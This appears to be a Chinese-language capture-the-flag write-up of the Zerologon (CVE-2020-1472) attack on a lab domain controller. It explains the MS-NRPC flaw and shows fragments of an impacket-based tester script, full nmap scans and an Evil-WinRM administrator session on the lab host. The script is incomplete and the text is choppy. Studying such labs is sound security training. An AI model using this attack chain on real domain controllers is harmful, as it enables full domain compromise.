此时，我们知道存在漏洞，但我们还不太确定如何利用它。我们很快就会介绍这一点，但我们知道 Microsoft 在 MS-NRPC 的 ComputeNetLogonCredetial 功能中处理身份验证的方式存在漏洞。为了更好地理解这个漏洞，我们需要更深入地研究 Microsoft 如何处理 NRPC 身份验证。为了分析漏洞发生的位置，我们将使用 Secura 提供的图表以及 Microsoft 文档来解密零登录背后的魔力。可以在本任务的底部找到来源。
from impacket.dcerpc.v5 import nrpc, epm from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport from impacket import crypto
import hmac, hashlib, struct, sys, socket, time from binascii import hexlify, unhexlify from subprocess import check_call MAX_ATTEMPTS = 2000
if __name__ == '__main__': ifnot (3 <= len(sys.argv) <= 4): print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n') print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.') print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.') sys.exit(1) else: [_, dc_name, dc_ip] = sys.argv
if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
┌──(root㉿kali)-[~/Desktop] └─# nmap --min-rate=10000 -p- 10.10.184.188 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-30 01:50 UTC Warning: 10.10.184.188 giving up on port because retransmission cap hit (10). Nmap scan report for ip-10-10-184-188.eu-west-1.compute.internal (10.10.184.188) Host is up (0.0055s latency). Not shown: 65497 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman 9389/tcp open adws 23644/tcp filtered unknown 25384/tcp filtered unknown 27163/tcp filtered unknown 32851/tcp filtered unknown 34200/tcp filtered unknown 39278/tcp filtered unknown 40363/tcp filtered unknown 42189/tcp filtered unknown 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49686/tcp open unknown 49695/tcp open unknown 49801/tcp open unknown 50798/tcp filtered unknown 53038/tcp filtered unknown 64343/tcp filtered unknown MAC Address: 02:EF:7A:EF:55:E5 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
┌──(root㉿kali)-[~/Desktop] └─# nmap -sC -sT -sV -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 10.10.184.188 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-30 01:59 UTC Nmap scan report for ip-10-10-184-188.eu-west-1.compute.internal (10.10.184.188) Host is up (0.00063s latency).
PORT STATE SERVICE VERSION 53/tcp open domain? 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-30 01:59:12Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hololive.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hololive.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-04-30T02:01:44+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=DC01.hololive.local | Not valid before: 2024-04-29T00:55:34 |_Not valid after: 2024-10-29T00:55:34 | rdp-ntlm-info: | Target_Name: HOLOLIVE | NetBIOS_Domain_Name: HOLOLIVE | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: hololive.local | DNS_Computer_Name: DC01.hololive.local | Product_Version: 10.0.17763 |_ System_Time: 2024-04-30T02:01:31+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing MAC Address: 02:EF:7A:EF:55:E5 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 1909 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 160.05 seconds
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
